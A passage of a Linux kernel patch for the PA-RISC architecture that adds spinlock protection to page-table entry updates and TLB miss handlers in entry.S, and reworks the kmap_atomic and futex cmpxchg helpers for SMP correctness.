 #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
+#  define _atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave(l,f)
+#  define _atomic_spin_unlock_irqrestore_user(l,f) _atomic_spin_unlock_irqrestore(l,f)
 #endif
 
 /* This should get optimized out since it's never called.
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7a73b61..89dce4f 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -2,6 +2,7 @@
 #define _PARISC_CACHEFLUSH_H
 
 #include <linux/mm.h>
+#include <linux/uaccess.h>
 
 /* The usual comment is "Caches aren't brain-dead on the <architecture>".
  * Unfortunately, that doesn't apply to PA-RISC. */
@@ -113,12 +114,22 @@ static inline void *kmap(struct page *page)
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-#define kmap_atomic(page, idx)		page_address(page)
+static inline void *kmap_atomic(struct page *page, enum km_type idx)
+{
+	pagefault_disable();
+	return page_address(page);
+}
 
-#define kunmap_atomic(addr, idx)	kunmap_parisc(addr)
+static inline void kunmap_atomic(void *addr, enum km_type idx)
+{
+	kunmap_parisc(addr);
+	pagefault_enable();
+}
 
-#define kmap_atomic_pfn(pfn, idx)	page_address(pfn_to_page(pfn))
-#define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
+#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
+#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
+#define kmap_atomic_to_page(ptr)	virt_to_page(kmap_atomic(virt_to_page(ptr), (enum km_type) 0))
+#define kmap_flush_unused()	do {} while(0)
 #endif
 
 #endif /* _PARISC_CACHEFLUSH_H */
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 0c705c3..7bc963e 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -55,6 +55,7 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 {
 	int err = 0;
 	int uval;
+	unsigned long flags;
 
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,10 +66,15 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
 		return -EFAULT;
 
+	_atomic_spin_lock_irqsave_user(uaddr, flags);
+
 	err = get_user(uval, uaddr);
-	if (err) return -EFAULT;
-	if (uval == oldval)
-		err = put_user(newval, uaddr);
+	if (!err)
+		if (uval == oldval)
+			err = put_user(newval, uaddr);
+
+	_atomic_spin_unlock_irqrestore_user(uaddr, flags);
+
 	if (err) return -EFAULT;
 	return uval;
 }
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index a27d2e2..f2d8866 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -30,15 +30,21 @@
  */
 #define kern_addr_valid(addr)	(1)
 
+extern spinlock_t pa_pte_lock;
+extern spinlock_t pa_tlb_lock;
+
 /* Certain architectures need to do special things when PTEs
  * within a page table are directly modified.  Thus, the following
  * hook is made available.
  */
-#define set_pte(pteptr, pteval)                                 \
-        do{                                                     \
+#define set_pte(pteptr, pteval)					\
+        do {							\
+		unsigned long flags;				\
+		spin_lock_irqsave(&pa_pte_lock, flags);		\
                 *(pteptr) = (pteval);                           \
+		spin_unlock_irqrestore(&pa_pte_lock, flags);	\
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+#define set_pte_at(mm,addr,ptep,pteval)	set_pte(ptep, pteval)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -262,6 +268,7 @@ extern unsigned long *empty_zero_page;
 #define pte_none(x)     ((pte_val(x) == 0) || (pte_val(x) & _PAGE_FLUSH))
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
 #define pte_clear(mm,addr,xp)	do { pte_val(*(xp)) = 0; } while (0)
+#define pte_same(A,B)	(pte_val(A) == pte_val(B))
 
 #define pmd_flag(x)	(pmd_val(x) & PxD_FLAG_MASK)
 #define pmd_address(x)	((unsigned long)(pmd_val(x) &~ PxD_FLAG_MASK) << PxD_VALUE_SHIFT)
@@ -410,6 +417,7 @@ extern void paging_init (void);
 
 #define PG_dcache_dirty         PG_arch_1
 
+extern void flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long pfn);
 extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 
 /* Encode and de-code a swap entry */
@@ -423,56 +431,85 @@ extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 #define __pte_to_swp_entry(pte)		((swp_entry_t) { pte_val(pte) })
 #define __swp_entry_to_pte(x)		((pte_t) { (x).val })
 
-static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+static inline void __flush_tlb_page(struct mm_struct *mm, unsigned long addr)
 {
-#ifdef CONFIG_SMP
-	if (!pte_young(*ptep))
-		return 0;
-	return test_and_clear_bit(xlate_pabit(_PAGE_ACCESSED_BIT), &pte_val(*ptep));
-#else
-	pte_t pte = *ptep;
-	if (!pte_young(pte))
-		return 0;
-	set_pte_at(vma->vm_mm, addr, ptep, pte_mkold(pte));
-	return 1;
-#endif
+	unsigned long flags;
+
+	/* For one page, it's not worth testing the split_tlb variable.  */
+	spin_lock_irqsave(&pa_tlb_lock, flags);
+	mtsp(mm->context,1);
+	pdtlb(addr);
+	pitlb(addr);
+	spin_unlock_irqrestore(&pa_tlb_lock, flags);
 }
 
-extern spinlock_t pa_dbit_lock;
+static inline int ptep_set_access_flags(struct vm_area_struct *vma, unsigned
+ long addr, pte_t *ptep, pte_t entry, int dirty)
+{
+	int changed;
+	unsigned long flags;
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	changed = !pte_same(*ptep, entry);
+	if (changed) {
+		*ptep = entry;
+	}
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+	if (changed) {
+		__flush_tlb_page(vma->vm_mm, addr);
+	}
+	return changed;
+}
+
+static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+{
+	pte_t pte;
+	unsigned long flags;
+	int r;
+
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	pte = *ptep;
+	if (pte_young(pte)) {
+		*ptep = pte_mkold(pte);
+		r = 1;
+	} else {
+		r = 0;
+	}
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+
+	return r;
+}
 
 struct mm_struct;
 static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-	pte_t old_pte;
-	pte_t pte;
+	pte_t pte, old_pte;
+	unsigned long flags;
 
-	spin_lock(&pa_dbit_lock);
+	spin_lock_irqsave(&pa_pte_lock, flags);
 	pte = old_pte = *ptep;
 	pte_val(pte) &= ~_PAGE_PRESENT;
 	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte_at(mm,addr,ptep,pte);
-	spin_unlock(&pa_dbit_lock);
+	*ptep = pte;
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
 
 	return old_pte;
 }
 
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-#ifdef CONFIG_SMP
-	unsigned long new, old;
-
-	do {
-		old = pte_val(*ptep);
-		new = pte_val(pte_wrprotect(__pte (old)));
-	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
-#else
-	pte_t old_pte = *ptep;
-	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
-#endif
+	pte_t old_pte;
+	unsigned long flags;
+
+	preempt_disable();
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	old_pte = *ptep;
+	*ptep = pte_wrprotect(old_pte);
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+	__flush_tlb_page(mm, addr);
+	flush_cache_page(vma, addr, pte_pfn(old_pte));
+	preempt_enable();
 }
 
-#define pte_same(A,B)	(pte_val(A) == pte_val(B))
-
 #endif /* !__ASSEMBLY__ */
 
 
@@ -504,6 +541,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 
 #define HAVE_ARCH_UNMAPPED_AREA
 
+#define __HAVE_ARCH_PTEP_SET_ACCESS_FLAGS
 #define __HAVE_ARCH_PTEP_TEST_AND_CLEAR_YOUNG
 #define __HAVE_ARCH_PTEP_GET_AND_CLEAR
 #define __HAVE_ARCH_PTEP_SET_WRPROTECT
diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index d91357b..4653c77 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -160,7 +160,7 @@ static inline void set_eiem(unsigned long val)
    ldcd). */
 
 #define __PA_LDCW_ALIGNMENT	4
-#define __ldcw_align(a) ((volatile unsigned int *)a)
+#define __ldcw_align(a) (&(a)->slock)
 #define __LDCW	"ldcw,co"
 
 #endif /*!CONFIG_PA20*/
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index ec787b4..b2f35b2 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -137,6 +137,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -225,6 +226,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
@@ -290,5 +292,11 @@ int main(void)
 	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
+
+#ifdef CONFIG_SMP
+	DEFINE(ASM_ATOMIC_HASH_SIZE_SHIFT, __builtin_ffs(ATOMIC_HASH_SIZE)-1);
+	DEFINE(ASM_ATOMIC_HASH_ENTRY_SHIFT, __builtin_ffs(sizeof(__atomic_hash[0]))-1);
+#endif
+
 	return 0;
 }
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b6ed34d..67241ac 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -395,15 +395,12 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
+static void clear_user_page_asm(void *page, unsigned long vaddr)
 {
-	unsigned long flags;
 	/* This function is implemented in assembly in pacache.S */
 	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
 
-	purge_tlb_start(flags);
 	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
 }
 
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
@@ -440,7 +437,6 @@ void __init parisc_setup_cache_timing(void)
 }
 
 extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
 void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
 {
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..e1c0128 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -45,7 +45,7 @@
 	.level 2.0
 #endif
 
-	.import         pa_dbit_lock,data
+	.import         pa_pte_lock,data
 
 	/* space_to_prot macro creates a prot id from a space id */
 
@@ -364,32 +364,6 @@
 	.align		32
 	.endm
 
-	/* The following are simple 32 vs 64 bit instruction
-	 * abstractions for the macros */
-	.macro		EXTR	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	extrd,u		\reg1,32+(\start),\length,\reg2
-#else
-	extrw,u		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEP	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	depd		\reg1,32+(\start),\length,\reg2
-#else
-	depw		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEPI	val,start,length,reg
-#ifdef CONFIG_64BIT
-	depdi		\val,32+(\start),\length,\reg
-#else
-	depwi		\val,\start,\length,\reg
-#endif
-	.endm
-
 	/* In LP64, the space contains part of the upper 32 bits of the
 	 * fault.  We have to extract this and place it in the va,
 	 * zeroing the corresponding bits in the space register */
@@ -442,19 +416,19 @@
 	 */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
-	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
+	extru		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
-	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
+	extru		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 #endif
-	DEP             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	dep             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
 	ldw,s		\index(\pmd),\pmd
 	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
-	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
+	dep		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
 	copy		\pmd,%r9
 	SHLREG		%r9,PxD_VALUE_SHIFT,\pmd
-	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
-	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	extru		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
+	dep		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
@@ -488,13 +462,44 @@
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
 
+	/* SMP lock for consistent PTE updates.  Unlocks and jumps
+	   to FAULT if the page is not present.  Note the preceeding
+	   load of the PTE can't be deleted since we can't fault holding
+	   the lock.  */ 
+	.macro		pte_lock	ptep,pte,spc,tmp,tmp1,fault
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,2f
+	load32		PA(pa_pte_lock),\tmp1
+1:
+	LDCW		0(\tmp1),\tmp
+	cmpib,COND(=)         0,\tmp,1b
+	nop
+	LDREG		%r0(\ptep),\pte
+	bb,<,n		\pte,_PAGE_PRESENT_BIT,2f
+	ldi             1,\tmp
+	stw             \tmp,0(\tmp1)
+	b,n		\fault
+2:
+#endif
+	.endm
+
+	.macro		pte_unlock	spc,tmp,tmp1
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,1f
+	ldi             1,\tmp
+	stw             \tmp,0(\tmp1)
+1:
+#endif
+	.endm
+
 	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
 	 * don't needlessly dirty the cache line if it was already set */
-	.macro		update_ptep	ptep,pte,tmp,tmp1
-	ldi		_PAGE_ACCESSED,\tmp1
-	or		\tmp1,\pte,\tmp
-	and,COND(<>)	\tmp1,\pte,%r0
-	STREG		\tmp,0(\ptep)
+	.macro		update_ptep	ptep,pte,tmp
+	bb,<,n		\pte,_PAGE_ACCESSED_BIT,1f
+	ldi		_PAGE_ACCESSED,\tmp
+	or		\tmp,\pte,\pte
+	STREG		\pte,0(\ptep)
+1:
 	.endm
 
 	/* Set the dirty bit (and accessed bit).  No need to be
@@ -605,7 +610,7 @@
 	depdi		0,31,32,\tmp
 #endif
 	copy		\va,\tmp1
-	DEPI		0,31,23,\tmp1
+	depi		0,31,23,\tmp1
 	cmpb,COND(<>),n	\tmp,\tmp1,\fault
 	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
 	depd,z		\prot,8,7,\prot
@@ -622,6 +627,39 @@
 	or		%r26,%r0,\pte
 	.endm 
 
+	/* Save PTE for recheck if SMP.  */
+	.macro		save_pte	pte,tmp
+#ifdef CONFIG_SMP
+	copy		\pte,\tmp
+#endif
+	.endm
+
+	/* Reload the PTE and purge the data TLB entry if the new
+	   value is different from the old one.  */
+	.macro		dtlb_recheck	ptep,old_pte,spc,va,tmp
+#ifdef CONFIG_SMP
+	LDREG		%r0(\ptep),\tmp
+	cmpb,COND(=),n	\old_pte,\tmp,1f
+	mfsp		%sr1,\tmp
+	mtsp		\spc,%sr1
+	pdtlb,l		%r0(%sr1,\va)
+	mtsp		\tmp,%sr1
+1:
+#endif
+	.endm
+
+	.macro		itlb_recheck	ptep,old_pte,spc,va,tmp
+#ifdef CONFIG_SMP
+	LDREG		%r0(\ptep),\tmp
+	cmpb,COND(=),n	\old_pte,\tmp,1f
+	mfsp		%sr1,\tmp
+	mtsp		\spc,%sr1
+	pitlb,l		%r0(%sr1,\va)
+	mtsp		\tmp,%sr1
+1:
+#endif
+	.endm
+
 
 	/*
 	 * Align fault_vector_20 on 4K boundary so that both
@@ -758,6 +796,10 @@ ENTRY(__kernel_thread)
 
 	STREG	%r22, PT_GR22(%r1)	/* save r22 (arg5) */
 	copy	%r0, %r22		/* user_tid */
+	copy	%r0, %r21		/* child_tid */
+#else
+	stw	%r0, -52(%r30)	     	/* user_tid */
+	stw	%r0, -56(%r30)	     	/* child_tid */
 #endif
 	STREG	%r26, PT_GR26(%r1)  /* Store function & argument for child */
 	STREG	%r25, PT_GR25(%r1)
@@ -765,7 +807,7 @@ ENTRY(__kernel_thread)
 	ldo	CLONE_VM(%r26), %r26   /* Force CLONE_VM since only init_mm */
 	or	%r26, %r24, %r26      /* will have kernel mappings.	 */
 	ldi	1, %r25			/* stack_start, signals kernel thread */
-	stw	%r0, -52(%r30)	     	/* user_tid */
+	ldi	0, %r23			/* child_stack_size */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
@@ -972,7 +1014,10 @@ intr_check_sig:
 	BL	do_notify_resume,%r2
 	copy	%r16, %r26			/* struct pt_regs *regs */
 
-	b,n	intr_check_sig
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 intr_restore:
 	copy            %r16,%r29
@@ -997,13 +1042,6 @@ intr_restore:
 
 	rfi
 	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
 
 #ifndef CONFIG_PREEMPT
 # define intr_do_preempt	intr_restore
@@ -1026,14 +1064,12 @@ intr_do_resched:
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	ldil	L%intr_check_sig, %r2
-#ifndef CONFIG_64BIT
-	b	schedule
-#else
-	load32	schedule, %r20
-	bv	%r0(%r20)
-#endif
-	ldo	R%intr_check_sig(%r2), %r2
+	BL	schedule,%r2
+	nop
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 	/* preempt the current task on returning to kernel
 	 * mode from an interrupt, iff need_resched is set,
@@ -1214,11 +1250,14 @@ dtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,dtlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,dtlb_check_alias_20w
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-	
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1238,11 +1277,10 @@ nadtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,nadtlb_check_flush_20w
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1272,8 +1310,11 @@ dtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,dtlb_check_alias_11
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
@@ -1283,6 +1324,7 @@ dtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1321,11 +1363,9 @@ nadtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_11
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
-
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
@@ -1333,6 +1373,7 @@ nadtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1368,13 +1409,17 @@ dtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,dtlb_check_alias_20
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1394,13 +1439,13 @@ nadtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_20
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 	
         idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1508,11 +1553,14 @@ itlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,itlb_fault
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-	
 	iitlbt          pte,prot
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1526,8 +1574,11 @@ itlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,itlb_fault
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
@@ -1537,6 +1588,7 @@ itlb_miss_11:
 	iitlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1548,13 +1600,17 @@ itlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,itlb_fault
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0	
 
 	iitlbt          pte,prot
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1570,29 +1626,14 @@ dbit_trap_20w:
 
 	L3_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20w
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20w:
-	LDCW		0(t0),t1
-	cmpib,COND(=)         0,t1,dbit_spin_20w
-	nop
-
-dbit_nolock_20w:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-		
 	idtlbt          pte,prot
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20w
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20w:
-#endif
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1606,35 +1647,21 @@ dbit_trap_11:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_11
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_11:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_11
-	nop
-
-dbit_nolock_11:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
-	mfsp            %sr1,t1  /* Save sr1 so we can use it in tlb inserts */
+	mfsp            %sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
 	idtlba		pte,(%sr1,va)
 	idtlbp		prot,(%sr1,va)
 
-	mtsp            t1, %sr1     /* Restore sr1 */
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_11
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_11:
-#endif
+	mtsp            t0, %sr1     /* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1646,32 +1673,17 @@ dbit_trap_20:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_20
-	nop
-
-dbit_nolock_20:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
-	f_extend	pte,t1
+	f_extend	pte,t0
 	
         idtlbt          pte,prot
-
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20:
-#endif
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1772,9 +1784,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1804,7 +1816,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1823,8 +1835,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1847,7 +1860,9 @@ ENTRY(sys_vfork_wrapper)
